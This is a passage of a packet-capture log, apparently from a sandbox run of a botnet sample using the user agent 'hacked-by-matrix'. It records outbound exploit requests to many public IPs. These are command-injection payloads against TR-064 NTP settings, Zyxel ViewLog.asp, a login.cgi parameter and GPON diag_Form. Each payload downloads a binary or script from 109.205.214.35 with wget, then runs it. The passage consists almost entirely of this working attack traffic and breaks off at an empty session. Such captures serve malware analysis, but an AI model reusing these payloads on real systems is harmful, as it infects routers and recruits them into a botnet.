Mar 21, 2024 05:22:29.705929995 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	45224	78.185.167.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.050219059 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:29.796936989 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:30.035510063 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:22:29 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	38386	206.12.96.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.060375929 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.230501890 CET	1149	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:22:29 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://206-12-96-209.cloud.computecanada.cacgi-bin/ViewLog.asp Content-Length: 346 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 32 30 36 2d 31 32 2d 39 36 2d 32 30 39 2e 63 6c 6f 75 64 2e 63 6f 6d 70 75 74 65 63 61 6e 61 64 61 2e 63 61 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 76 61 69 6b 75 6e 74 68 61 2e 61 72 62 75 74 75 73 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://206-12-96-209.cloud.computecanada.cacgi-bin/ViewLog.asp">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:29 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 309Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at vaikuntha.arbutus Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	36220	99.243.225.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.106611967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:29.967312098 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	58818	212.129.10.252	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.153707981 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:29.319433928 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Thu, 21 Mar 2024 04:22:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	45258	78.185.167.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.179945946 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:30.412262917 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	60650	41.239.119.39	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.385997057 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	37560	80.147.204.241	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.421156883 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.603918076 CET	805	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:22:29 GMT Server: Apache Content-Length: 199 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:29 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	55638	212.181.241.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540537119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	57228	42.119.245.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540550947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	56362	109.213.71.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540555954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	52836	118.205.35.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540586948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	57968	5.149.68.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540622950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	49984	5.94.230.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540622950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	47202	109.222.123.106	443

Timestamp	Bytes transferred	Direction	Data
